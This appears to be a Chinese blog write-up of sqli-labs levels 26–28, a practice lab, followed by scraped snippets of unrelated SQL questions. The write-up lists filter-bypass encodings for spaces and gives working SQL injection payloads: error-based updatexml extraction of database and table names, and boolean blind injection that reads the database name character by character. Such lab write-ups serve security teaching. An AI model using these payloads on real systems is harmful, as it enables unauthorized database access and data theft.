sqli-labs第26~28关

2023-11-20

第26关

查看源码

 黑名单,过滤了 or,and , /* , – , # , 空格 , /

 \s 代表正则表达式中的一个空白字符(可能是空格、制表符、其他空白) 即 \s  用于匹配空白字符。

我们常见的绕过空格的就是多行注释,/**/但这里过滤了,不太行啊

将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两方面:对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:

%09 TAB键(水平)

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

%a0 空格

没思路,再看一下源码吧

 

   $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

与注入的SQL语句拼接后相当于$sql="SELECT * FROM users WHERE id='?id=1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1' LIMIT 0,1";

库名

?id=1%27||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||%271%27=%271

查表名

?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1

 .......

第27关

报错注入

查看源码

 正则表达式中

修饰符 i 表示不区分大小写

[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配

\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"。

?id=1%27%26%26updatexml(1,concat(0x7e,(select(database())),0x7e),1)||%271%27=%271

 

 

第28关

盲注

查看源码

单引号字符型注入

?id=1')and(length(database())>7)and('1')=('1

 ?id=1%27)and(length(database())=8)and(%271%27)=(%271

 ?id=1')and((ascii(substr(database(),1,1)))=115)and('1')=('1

 

返回正常,第一位是s

?id=1')and((ascii(substr(database(),2,1)))=101)and('1')=('1

返回正常,第二位是e

......

END!!!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sqli-labs第26~28关 的相关文章

  • 如何证明2条sql语句是等价的

    我开始用连接和子语句重写一个复杂的 SQL 语句 并获得一个看起来更简单的语句 我通过在相同的数据集上运行并获得相同的结果集来测试它 一般来说 我如何 概念上 证明这两个陈述在任何给定数据集中都是相同的 我建议学习关系代数 正如 Mchl
  • 使用连接字段的 SQL JOIN

    我有两个表 Table1 包含一列 该列构成 Table2 中列的部分值 例如 表1 XName 123456 表2 ZName ABC 123456 我需要创建一个与这些匹配的 JOIN 但是使用 MS SQL 2008 我在完成这项工作
  • 将 mysql 查询输出存储到 shell 变量中

    我需要一个变量来保存从数据库检索的结果 到目前为止 这基本上是我正在尝试但没有成功的事情 myvariable mysql database u user p password SELECT A B C FROM table a 正如你所看
  • 如何使用 linq to sql 一次更新多行?

    Table id userid friendid name status 1 1 2 venkat false 2 1 3 sai true 3 1 4 arun false 4 1 5 arjun false 如果用户发送userid 1
  • Informix:带有输出参数的程序?

    我搜索了很多 但找不到任何东西 我只是想问是否有任何方法可以创建和调用过程 Informix 没有参数 我知道如何返回一个或多个值 对于过程和函数 但这不是我想要的 如果 Informix 不允许输出参数 那就真的很奇怪了 提前致谢 EDI
  • 查找具有唯一两列组合的所有行

    我有这张桌子messages sender id recipient id 1 2 1 3 1 3 2 1 3 1 2 3 我希望选择这样的行 Either sender id or receiver id current user id
  • 使用临时表替换 WHERE IN 子句

    我让用户输入我需要在表中查询的值列表 该列表可能非常大 并且长度在编译时未知 而不是使用WHERE IN 我认为使用临时表并对其执行联接会更有效 我在另一个SO问题中读到了这个建议 目前找不到它 但会在找到时进行编辑 要点是这样的 CREA
  • 在自定义条件下清理 SQL

    我需要创建一个简单的搜索 但我无法使用 Sphinx 这是我写的 keywords input split s queries keywords each do keyword queries lt lt sanitize sql for
  • LEFT JOIN 返回与 INNER JOIN 相同的结果

    我有一张桌子 磨砂膏 里面有 1600 个独特的物品 第二张桌子有100万以上 我运行 INNER JOIN 并获得 65 个匹配项 SELECT a BW Parent Number a Vendor Name b Parent Supp
  • ORACLE 在立即执行中批处理 DDL 语句

    我正在尝试在一个 Execute Immediate 语句中运行多个 ddl 语句 我认为这会很简单 但看来我错了 想法是这样的 declare v cnt number begin select count into v cnt from
  • SQL Server - 如何向登录名授予对所有数据库的读取访问权限?

    我需要向新登录授予对服务器上所有 300 个数据库的读取权限 如何在不选中用户映射区域中的 300 个复选框的情况下完成此操作 一种方法是在 SSMS 的查询菜单上设置 结果为文本 然后执行以下命令 它实际上并不进行更改 而是生成一个脚本供
  • Linq lambda表达式多对多表选择

    我有三个表 其中两个是多对多关系 Picture 这是中间mm表中的数据 Edit 到这里 我得到正确的 4 行返回 但它们都是相同的结果 我知道我需要返回 4 行 但有不同的结果 return this mediaBugEntityDB
  • SQL FORMAT 函数错误

    这个SQL select FORMAT lNum from rpt myView 产生以下错误 参数数据类型 varchar 对于格式的参数 1 无效 功能 lNum is a varchar 10 运行 SQL Server 2012 v
  • 如何在 SQL 中进行广度优先搜索?

    给定一棵存储为关系的树 Parent Child 1 2 1 3 3 4 3 5 2 6 7 8 7 9 如何获取给定节点的所有后代 例如 对于 1
  • SQL注入方法

    注射程序是 SELECT UserId Name Password FROM Users WHERE UserId 105 or 1 1 但是 我的问题是注入查询在 sql 中是如何工作的 当你在代码中将查询作为字符串时 就像这样 Quer
  • 对 SQL 时间序列进行采样

    我有一个日期时间的时间序列 存储在 mySQL 中的双列 并且希望每分钟对时间序列进行采样 即以一分钟的间隔提取最后一个值 有没有一种有效的方法可以在一个 select 语句中执行此操作 蛮力方法将涉及选择整个系列并在客户端进行采样或为每个
  • 选择每组最新的项目[重复]

    这个问题在这里已经有答案了 可能的重复 检索每组中的最后一条记录 https stackoverflow com questions 1313120 retrieving the last record in each group 我有 2
  • 查询从同一表中的另一条记录获取值并按大于间隙阈值的差异进行过滤

    我将数据导入到 MS Access 中的临时表中 如下所示 我添加了需要使用 SQL 查询计算的 Gap 和 Previous Current 列 间隙阈值 是用户输入或范围提供给查询和例如是 300 GlobalID 对 ItemID 进
  • 随机排列每行的列值

    我正在使用 C NET 开发多项选择题考试生成器 每次做出报告时 都会在数据库中随机挑选问题 并随机调整选项 我可以做随机问题部分 但我不能做选择的洗牌 我有一张表 其中一行如下 question answer distractor1 di
  • JbdcTemplate - 带有动态 SQL 查询的PreparedStatements

    I know jdbcTemplate可以用来创建PreparedStatements如果你这样设置 i e private JdbcTemplate jdbcTemplate String sqlQuery Select from tab

随机推荐

  • 怎么用好免费的ChatGPT

    最近 ChatGPT因其出色的表现而备受关注 网友们纷纷赞叹不已 然而 在国内目前还没有相应的使用途径 本文旨在向大家介绍如何免费使用ChatGPT 并教你如何善用它来提升个人效率 在下文中 我们将提供详细指南 让您能够充分利用ChatGP
  • 利用正则表达式对手机号、身份证、姓名脱敏(**模糊化)

    var phone 13623021456 var idcode 440582199612056666 var name 陈妹 var name1 陈美美 var name2 欧阳美美 phone phone replace 3 4 1 2
  • 【无线电力传输】12 V 直流风扇无线电力传输系统的实现(Simulink)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Simulink仿真实现 1 概述 经过实现 我们成功地开发出了一种无线电
  • shell脚本,一次性启动kafka集群

    版本centos6 5 64位操作系统 已配置JDK1 8 三个节点 在s121节点上可以免密登录到另外两个节点 另外kafka0 9 0 1的安装目录相同 修改了主机名 并在每个节点的hosts文件中设置了映射 脚本内容 bin bash
  • 关于git存储空间的注意

    摘自 https blog csdn net weixin 30411819 article details 97716808 utm medium distribute pc relevant none task blog BlogCom
  • 解决vxe-table复选框翻页选中问题

    解决vxe table复选框翻页选中问题 根据vxe table官方文档 想要保留勾选中的数据 我们的代码中需要设置 row id 和 checkbox config中的 reserve 属性 vxe table官方文档 简单写下html部
  • thinkphp 6.x 任意文件写入漏洞

    目录 前言 一 复现 二 漏洞分析 前言 提示 这里可以添加本文要记录的大概内容 ThinkPHP v6 0 0 6 0 1 存在任意文件操作漏洞 主要原因是调用了session的进行了文件的写入 导致的漏洞 补丁对传入的 sessionI
  • API接口开发简述简单示例

    作为最流行的服务端语言PHP PHP Hypertext Preprocessor 在开发API方面 是很简单且极具优势的 API Application Programming Interface 应用程序接口 架构 已经成为目前互联网产
  • vue3.0删除node_modules 无用的依赖

    安装插件 npm i depcheck 查看无用的插件 npx depcheck 对应删除 npm uninstall kd layout
  • C++/C++11中变长参数的使用

    C C 11中的变长参数可以应用在宏 函数 模板中 1 宏 在C99标准中 程序员可以使用变长参数的宏定义 变长参数的宏定义是指在宏定义中参数列表的最后一个参数为省略号 而预定义宏 VA ARGS 则可以在宏定义的实现部分替换省略号所代表的
  • docker 安装tomcat遇到问题

    docker 安装 tomcat 启动 tomcat docker pull tomcat 8 默认启动 docker run d p 7788 8080 tomcat 8 进入容器 docker exec it 541d6c30c295
  • Spring源码分析refresh()第二篇

    invokeBeanFactoryPostProcessors方法 这个方法比较重要 实例化和调用所有已注册的BeanFactoryPostProcessor bean 如果有已经注入的BeanFactoryPostProcessor 则优
  • JavaScript 高级应用第一弹

    文章目录 Gorit 带你学全栈 JavaScript 高级应用 第一弹 一 数组篇 1 1 展开表达式 1 2 返回一个新数组 1 2 1 map 1 2 2 filter 1 2 3 concat 1 3 索引相关问题 1 4 返回 b
  • Qt 中遇到QLabel::setPixmap() 设置图片不起作用(图片被替换后还是显示替换前的图片)解决方法

    1 问题 当使用下面的命令设置图片后 第一次会成功显示图片 当我删除当前图片后并且用另一张图片重命名成先前删除的图片时 再次刷新显示还是先前删除的图片资源 重启软件又正常显示修改后的图片 ui gt label gt setPixmap Q
  • 3.[mybatis]的查询源码分析(执行流程、缓存、整合spring要点)

    目录 1 装饰器模式 2 sqlSession的创建 open 2 1 newExecutor 3 selectOne分析 3 1 二级缓存 3 2 一级缓存 4 数据库查询核心分析 queryFromDatabase 4 1 Simple
  • Wave x Incredibuild

    Wave 公司简介 Wave 是一家虚拟娱乐公司 致力于帮助艺术家和粉丝通过协作创造出世界上最具互动性的现场表演体验 Wave 整合了最顶尖的现场音乐 游戏和广播技术 将现场音乐表演转化为沉浸式虚拟体验 便于观众通过 YouTube Twi
  • java 模拟库存管理系统

    本案例要求编写一个程序 模拟库存管理系统 该系统内容主要包括 商品入库 商品显示 和删除商品功能 此程序用手机举例 此管理系统分别为两个类Phone 和Test类 Phone类 确定四个变量 类 1 生成空参数构造方法 2 全部参数的构造方
  • 经典的期货量化交易策略大全(含源代码)

    1 双均线策略 期货 双均线策略是简单移动平均线策略的加强版 移动平均线目的是过滤掉时间序列中的高频扰动 保留有用的低频趋势 它以滞后性的代价获得了平滑性 比如 在一轮牛市行情后 只有当价格出现大幅度的回撤之后才会在移动平均线上有所体现 而
  • 引介

    转载自 https ethfans org posts rlp encode and decode RLP编码和解码 RLP Recursive Length Prefix 递归的长度前缀 是一种编码规则 可用于编码任意嵌套的二进制数组数据
  • sqli-labs第26~28关

    第26关 查看源码 黑名单 过滤了 or and 空格 s 代表正则表达式中的一个空白字符 可能是空格 制表符 其他空白 即 s 用于匹配空白字符 我们常见的绕过空格的就是多行注释 但这里过滤了 不太行啊 将空格 or and 等各种符号过